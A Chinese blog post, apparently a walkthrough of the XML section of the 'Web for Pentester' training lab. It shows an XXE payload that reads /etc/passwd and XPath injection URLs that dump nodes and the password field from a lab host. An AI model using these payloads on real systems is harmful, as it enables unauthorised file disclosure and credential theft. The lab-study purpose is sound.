zoukankan      html  css  js  c++  java
  • Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇

    XML attacks(XML攻击)

    Example 1 - XML外部实体注入(XXE)

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181259909-649426507.png)

    Payload
    http://192.168.219.136/xml/example1.php?xml= <!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc/passwd">]><c>%26b;</c>

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181311103-20902236.png)

    Example 2 - Xpath注入

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181319011-891038369.png)
    输入一个单引号,报错,分析报错信息发现xpath函数,猜测是xpath注入 <1> `http://192.168.219.136/xml/example2.php?name=hacker' and '1' ='1`
    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181324774-2007834750.png)

    <2> http://192.168.219.136/xml/example2.php?name=hacker' and '1' ='2

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181330451-1657338604.png)

    <3> http://192.168.219.136/xml/example2.php?name=hacker' or '1' ='1

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181337206-2047698607.png)

    <4> http://192.168.219.136/xml/example2.php?name=hacker' or '1' ='2

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181441610-362099624.png)

    可知XPath的代码为 [PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

    Payload
    http://192.168.219.136/xml/example2.php?name=' or 1=1]/parent::*/child::node()%00

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181446807-1802045137.png)

    http://192.168.219.136/xml/example2.php?name=hacker' or 1=1]/parent::*/password%00

    ![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808181450842-1008994050.png)
  • 相关阅读:
    js判断手机访问网站自动跳转到手机版
    php 操作数组 (合并,拆分,追加,查找,删除等)
    jQuery传值方法汇总:jQuery.get、jQuery.getJSON、jQuery.post
    JS 页面跳转
    优秀的项目管理者书籍
    Python 的人生
    架构设计流程梳理
    重新定义自己思考问题的方式
    梳理
    程序员高效工具列表
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/11322907.html
Copyright © 2011-2022 走看看